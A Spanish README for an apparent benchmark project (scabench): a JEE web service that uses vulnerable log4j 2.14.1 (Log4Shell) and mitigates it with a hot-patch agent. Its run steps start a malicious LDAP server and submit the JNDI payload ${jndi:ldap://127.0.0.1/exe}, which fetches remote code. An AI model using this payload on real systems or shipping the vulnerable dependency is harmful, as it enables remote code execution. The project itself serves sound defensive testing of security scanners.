
proyecto web JEE con vulnerabilidad log4shell (CVE-2021-44228) mitigada
Este es un proyecto web simple con una vulnerabilidad log4shell saneada. Para una versión sin sanear, consulte https://github.com/scabench/l4j-tp1/.
El proyecto define un servicio get scabench.HelloWorldService simple que devuelve una cadena de texto plano hello world.
El servicio no espera parámetros y, si se encuentran parámetros, se registra un error.
La dependencia vulnerable es org.apache.logging.log4j:log4j-core:2.14.1, la vulnerabilidad es CVE-2021-44228.
El proyecto utiliza un agente creado por Amazon cuando surgió log4shell y no había ningún parche disponible.
El agente deshabilitará la clase vulnerable org.apache.logging.log4j.core.lookup.JndiLookup.
El uso del agente se aplica instalando (es decir, adjuntando) el agente dinámicamente cuando se carga scabench.HelloWorldService (en el bloque estático de la clase).
Si esto falla, la aplicación se bloquea. Esto requiere que la JVM habilite la auto-adjunción del agente.
export MAVEN_OPTS="-Djdk.attach.allowAttachSelf=true"mvn jetty:runjava -jar dodgy-ldap-server.jar (el código vulnerable descargará código Java de este servidor)http://localhost:8080/, este sitio contiene un formulario precargado con una carga útil maliciosa ${jndi:ldap://127.0.0.1/exe}foo en el servidor (como hace la versión sin sanear)Tenga en cuenta que al ejecutar la aplicación, aparece la siguiente línea en la consola:
Transforming org/apache/logging/log4j/core/lookup/JndiLookup .
Esto requiere unix o macos. Es fácil portar este proyecto a windows. Se proporciona una prueba unitaria para demostrar la vulnerabilidad; la configuración es la misma que se usa en https://github.com/scabench/l4j-tp1/. Debido al saneamiento, la prueba ahora falla.
Hay varios scripts sh para ejecutar diferentes análisis; los informes de resultados se pueden encontrar en scan-results.
El pom.xml tiene un complemento para generar un SBOM en formato CycloneDX.
Para hacer esto, ejecute mvn cyclonedx:makePackageBom; el SBOM se puede encontrar en
target/ en formato json y xml.